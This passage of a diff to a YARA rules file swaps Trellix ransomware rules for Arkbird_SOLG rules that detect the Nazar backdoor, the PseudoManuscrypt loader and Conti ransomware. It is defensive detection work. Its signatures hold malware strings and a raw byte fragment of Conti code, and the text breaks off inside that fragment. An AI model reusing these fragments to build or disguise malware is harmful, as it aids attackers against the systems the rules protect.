65 00 6D 00 66 00 29 00 7C 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 7C 00 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 2A 00 29 00 7C 00 2A 00 2E 00 2A 00 7C 00 7C 00 }
-		$s6 = { 48 00 54 00 4D 00 4C 00 5F 00 49 00 4D 00 47 00 23 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 4C 00 49 00 5F 00 43 00 41 00 50 00 54 00 49 00 4F 00 4E 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 29 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 53 00 42 00 5F 00 48 00 5F 00 53 00 43 00 52 00 4F 00 4C 00 4C 00 5F 00 50 00 52 00 45 00 56 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 31 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 4F 00 52 00 41 00 4E 00 47 00 45 00 5F 00 43 00 4C 00 4F 00 53 00 45 00 5F 00 50 00 4E 00 47 00 32 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 50 00 41 00 49 00 44 00 5F 00 53 00 45 00 54 00 54 00 49 00 4E 00 47 00 53 00 5F 00 50 00 4E 00 47 00 }
-		$s7 = { 25 73 5C 6C 6F 67 5F 25 30 34 64 25 30 32 64 25 30 32 64 5F 25 64 2E 6C 6F 67 }
+		$s1 = { 38 50 F4 59 CC FF F3 37 65 28 4F 35 1A D2 83 C9 6C E0 20 27 38 C5 39 2E 72 95 5B 3C E0 29 D1 9E C7 0C A4 21 1B 55 09 A5 0B 83 99 C8 7C D6 F2 0F 47 B9 CE 43 82 5E C4 0C }
+		$s2 = { 3C E2 39 81 D4 EA 82 1F F8 83 42 54 A0 2E 6D E8 C5 44 E6 B0 92 13 5C E6 21 EF 89 9D 26 28 90 8C 3C 94 A3 36 AD E9 CD 48 26 B2 92 1D 1C E4 34 57 B9 C7 2B A2 7D 1E 14 A8 4A 4D 5A D3 8E 2E F4 A4 1F 83 19 C1 58 A6 32 9B 05 2C 63 03 DB B9 42 }
+		$s3 = { F0 96 6F 33 59 1B BA 32 82 8D 5C 22 28 B3 1E 4C 65 BA 31 99 4D 1C E0 2E 89 7E F3 1E 94 A7 13 13 08 E7 22 31 7E D7 EB 28 42 53 46 B0 81 73 7C 22 E3 1F 62 4E 17 66 B2 8F 47 A4 CA A2 D6 68 C9 44 36 72 9D 78 7F 7A 16 B5 18 CA 5A 4E F2 92 74 59 }
+		$s4 = { 3D 57 89 56 4D 9E 51 9C CE 2C 20 92 B8 D5 C5 81 7A 8C 65 03 17 F9 C0 77 35 5C 4F 0B 26 B0 99 0B C4 A9 69 5D A9 44 0F 66 F2 2F F7 48 5C 4B 7E 50 9D 41 2C E0 34 AF 89 5F 5B 9E 50 92 C6 F4 65 3C 0B D8 CA 1E CE F3 80 CF EA B8 9E 94 A4 E5 37 72 51 88 0A 34 A3 2F 03 19 CE 41 22 B8 C9 5D 1E F2 82 77 44 AF AB }
+		$s5 = { FA D6 A4 0F EB 79 42 D2 76 F6 54 BA B2 9A 27 FC D0 5E 9E 30 8D 2B 24 E9 A0 AE A8 41 33 06 32 84 51 8C 63 12 33 98 CF 72 36 B0 8B 83 1C E3 12 D7 B8 CD 63 5E 13 B3 A3 FE 45 06 8A D0 80 3E 0C 66 32 33 59 C6 66 0E 10 C1 39 AE F3 84 D7 C4 EF E4 EC C8 37 64 22 17 F9 28 42 45 3A 31 9E A5 EC E1 14 37 79 C0 DB FF FD B6 B3 E7 F3 3B 45 A9 45 28 E3 D9 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		uint32be(0)==0x504B0304 and filesize >300KB and 4 of them
 }
-rule TRELLIX_ARC_Ransomware_Coronavirus : RANSOMWARE FILE
+import "pe"
+
+rule ARKBIRD_SOLG_Backdoor_APT_Nazar_April_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Corona Virus ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "4195a57b-cd51-5050-861a-6436f7ec4eca"
-		date = "2020-03-25"
-		modified = "2020-08-14"
-		reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_coronavirus.yar#L43-L80"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "3299f07bc0711b3587fe8a1c6bf3ee6bcbc14cb775f64b28a61d72ebcb8968d3"
-		logic_hash = "2a7e1676a20f30b0cb0321579bb85e4836e2aee5f56b838d2ff2bec7a08c489f"
+		description = "Detect strings used by APT Nazar"
+		author = "Arkbird_SOLG"
+		id = "727a1f4e-1371-5a95-bce9-4a4f701a2ac6"
+		date = "2020-04-29"
+		modified = "2023-11-22"
+		reference = "Internal research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-04-29/Yara_Rule_APT_Bazar-April_2020_1.yar#L3-L29"
+		license_url = "N/A"
+		logic_hash = "79028588ac6afd3e3d0d839d10eada9e5382991eebb600b0dae2119bcd7eac93"
 		score = 75
-		quality = 64
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/CoronaVirus"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
+		hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
 
 	strings:
-		$s1 = { 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 }
-		$s2 = { 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 }
-		$s3 = { 2F 00 75 00 70 00 6C 00 6F 00 61 00 64 00 2F 00 25 00 73 00 5F 00 25 00 64 00 5F 00 25 00 73 00 }
-		$s4 = { 53 59 53 54 45 4D 5C 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 74 5C 43 6F 6E 74 72 6F 6C 5C 53 65 73 73 69 6F 6E 20 4D 61 6E 61 67 65 72 }
-		$s5 = { 5C 5C 2E 5C 50 68 79 73 69 63 61 6C 44 72 69 76 65 25 64 }
+		$s1 = "101;0000;" fullword ascii
+		$s2 = "hodll.dll" fullword ascii
+		$s3 = { 70 73 73 64 6B ?? ?? 2E 73 79 73 }
+		$s4 = { 70 73 73 64 6B ?? ?? 2E 76 78 64 }
+		$s5 = "##$$%%&&''(())**++,,--..//0123456789:;<=>?" fullword ascii
+		$s6 = "SYSTEM\\CurrentControlSet\\Services\\VxD\\MSTCP" fullword ascii
+		$s7 = "removehook" fullword ascii
+		$s8 = "installhook" fullword ascii
+		$s9 = "_crt_debugger_hook" fullword ascii
+		$s10 = "\\Files.txt" fullword ascii
+		$s11 = "\\report.txt" fullword ascii
+		$s12 = "\\Programs.txt" fullword ascii
+		$s13 = "\\Devices.txt" fullword ascii
+		$s14 = "\\music.mp3" fullword ascii
+		$s15 = "\\z.png" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		12 of them and filesize >120KB
 }
-rule TRELLIX_ARC_Jeff_Dev_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Pseudomanuscrypt_Dec_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Jeff Dev Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "dd5e24f4-a2d8-5db5-9e7e-7f8bded5d401"
-		date = "2018-08-26"
-		modified = "2020-08-14"
-		reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_jeff_dev.yar#L1-L28"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "386d4617046790f7f1fcf37505be4ffe51d165ba7cbd42324aed723288ca7e0a"
-		logic_hash = "58a408f4e1781540e4abdb87b85b94c1f0ea49b40bf241d6d074bc2162ac2032"
+		description = "Detect PseudoManuscrypt loader dropped by the installer"
+		author = "Arkbird_SOLG"
+		id = "8784baa0-c52c-5ee0-9a92-9b6457df61ed"
+		date = "2021-12-16"
+		modified = "2021-12-17"
+		reference = "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-PseudoManuscrypt-a-mass-scale-spyware-attack-campaign-En.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/MAL_PseudoManuscrypt_Dec_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "e304323ed26c7040c97efa8041bcd3eb2f6d0caeba76d6674fc2947d7850e830"
 		score = 75
-		quality = 45
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Jeff"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "19627bcee38a4ca5ae9a60c71ee7a2e388ba99fb8b229700a964a084db236e1f"
+		hash2 = "be94df270acfc8e5470fa161b808d0de1c9e85efeeff4a5d82f5fd09629afa8e"
+		hash3 = "de965e33dff58cf011106feacef2f804d9e35d00b8b5ff7064e5b7afee46d72c"
+		hash4 = "e32899bef78f6af4a155f738298e042f72fe5e643ec934f8778180f71e511727"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = "C:\\Users\\Umut\\Desktop\\takemeon" fullword wide
-		$s2 = "C:\\Users\\Umut\\Desktop\\" fullword ascii
-		$s3 = "PRESS HERE TO STOP THIS CREEPY SOUND AND VIEW WHAT HAPPENED TO YOUR COMPUTER" fullword wide
-		$s4 = "WHAT YOU DO TO MY COMPUTER??!??!!!" fullword wide
+		$s1 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 72 79 70 74 6f 67 72 61 70 68 79 00 7b 47 36 35 37 59 53 30 36 2d 30 31 36 44 2d 34 43 30 52 2d 36 30 32 32 2d 46 47 45 32 43 33 32 32 36 36 37 46 7d 00 00 4d 61 63 68 69 6e 65 47 75 69 64 }
+		$s2 = { 45 ?? 5c 43 4c 53 c7 45 ?? 49 44 5c 25 c7 45 ?? 73 00 00 00 c7 45 ?? 47 6c 6f 62 c7 45 ?? 61 6c }
+		$s3 = { 56 69 72 74 c7 [2-4] 75 61 6c 41 c7 [2-4] 6c 6c 6f 63 ff 15 }
+		$s4 = { 4c 6f 61 64 65 72 2e 64 6c 6c 00 53 65 72 76 69 63 65 4d 61 69 6e }
+		$s5 = { 2e 72 73 72 63 24 30 31 00 00 00 00 a0 ?? 00 00 ?? 04 00 00 2e 72 73 72 63 24 30 32 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB) and all of them
+		uint16(0)==0x5A4D and filesize >3KB and filesize <30KB and all of ($s*)
 }
-rule TRELLIX_ARC_Anatova_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Conti_Dec_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Anatova Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "6e3205aa-42e4-5449-877e-37494cdd096b"
-		date = "2019-01-22"
-		modified = "2020-08-14"
-		reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Anatova.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "97fb79ca6fc5d24384bf5ae3d01bf5e77f1d2c0716968681e79c097a7d95fb93"
-		logic_hash = "4fce15ad0ef2d3cb39f6092677f117308f847815cb2a5a491290a1f9d09776df"
+		description = "Detect Conti ransomware (v3)"
+		author = "Arkbird_SOLG"
+		id = "efa65b86-95d7-55fd-b98a-7b3c747a671c"
+		date = "2021-12-16"
+		modified = "2021-12-16"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/RAN_Conti_Dec_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "038ad0c7ffcabcaf85de1adadf8a386063f96d5cd0e348a3cea4ea3b7b10fe70"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Anatova"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "a05c8129e607c6d0976d79f69c6a020d15767a9ef3a9c9f1570c5193a7b5b76b"
+		hash2 = "3125aa67fc6e09a00aad39e0eb8024b849d54de353b1a45b5297d4c5d5e87941"
+		hash3 = "03597628e999d791f4cc442328024235db9a929467a62ef0a00c91a76161f0e1"
+		tlp = "white"
+		adversary = "RAAS"
 
 	strings:
-		$regex = /anatova[0-9]@tutanota.com/
+		$s1 = { 81 ec 78 0b 00 00 c6 45 c4 00 c6 45 c5 48 c6 45 c6 45 c6 45 c7 64 c6 45 c8 45 c6 45 c9 46 c6 45 ca 45 c6 45 cb 46 c6 45 cc 45 53 c6 45 cd 45 bb 7f 00 00 00 c6 45 ce 45 8a 45 c5 80 7d c4 00 56 57 8b f9 75 2c 33 f6 66 0f 1f 44 00 00 8a 44 35 c5 b9 45 00 00 00 0f b6 c0 2b c8 6b c1 1b 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 c5 46 83 fe 0a 72 dc 8d 45 c5 89 85 88 f4 ff ff c6 45 b8 00 c6 45 b9 65 c6 45 ba 32 c6 45 bb 45 c6 45 bc 32 c6 45 bd 43 c6 45 be 32 c6 45 bf 6d c6 45 c0 32 c6 45 c1 32 c6 45 c2 32 8a 45 b9 80 7d b8 00 75 29 33 f6 8a 44 35 b9 b9 32 00 00 00 0f b6 c0 2b c8 8d 04 49 c1 e0 03 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 b9 46 83 fe 0a 72 d9 8d 45 b9 89 85 8c f4 ff ff 8d 8d 34 f7 ff ff c6 85 34 f7 ff ff 00 c6 85 35 f7 ff ff 6d c6 85 36 f7 ff ff 11 c6 85 37 f7 ff ff 54 c6 85 38 f7 ff ff 11 c6 85 39 f7 ff ff 58 c6 85 3a f7 ff ff 11 c6 85 3b f7 ff ff 58 c6 85 3c f7 ff ff 11 c6 85 3d f7 ff ff 5a c6 85 3e f7 ff ff 11 c6 85 3f f7 ff ff 56 c6 85 40 f7 ff ff 11 c6 85 41 f7 ff ff 11 c6 85 42 f7 ff ff 11 8a 85 35 f7 ff ff e8 e2 a2 00 00 89 85 90 f4 ff ff c6 85 c4 f8 ff ff 00 c6 85 c5 f8 ff ff 18 c6 85 c6 f8 ff ff 0c c6 85 c7 f8 ff ff 57 c6 85 c8 f8 ff ff 0c c6 85 c9 f8 ff ff 52 c6 85 ca f8 ff ff 0c c6 85 cb f8 ff ff 52 c6 85 cc f8 ff ff 0c c6 85 cd f8 ff ff 10 c6 85 ce f8 ff ff 0c c6 85 cf f8 ff ff 52 c6 85 d0 f8 ff ff 0c c6 85 d1 f8 ff ff 0c c6 85 d2 f8 ff ff 0c 8a 85 c5 f8 ff ff 80 bd c4 f8 ff ff 00 75 2a 33 c9 66 90 8a 84 0d c5 f8 ff ff 0f b6 c0 83 e8 0c 6b c0 19 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d c5 f8 ff ff 41 83 f9 0e 72 da 8d 85 c5 f8 ff ff 89 85 94 f4 ff ff c6 85 04 f9 ff ff 00 c6 85 05 f9 ff ff 74 c6 85 06 f9 ff ff 4d c6 85 07 f9 ff ff 23 c6 85 08 f9 ff ff 4d c6 85 09 f9 ff ff 72 c6 85 0a f9 ff ff 4d c6 85 0b f9 ff ff 72 c6 85 0c f9 ff ff 4d c6 85 0d f9 ff ff 5a c6 85 0e f9 ff ff 4d c6 85 0f f9 ff ff 42 c6 85 10 f9 ff ff 4d c6 85 11 f9 ff ff 4d c6 85 12 f9 ff ff 4d 8a 85 05 f9 ff ff 80 bd 04 f9 ff ff 00 75 2c 33 c9 0f 1f 40 00 8a 84 0d 05 f9 ff ff 0f b6 c0 83 e8 4d 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d 05 f9 ff ff 41 83 f9 0e 72 da 8d 85 05 f9 ff 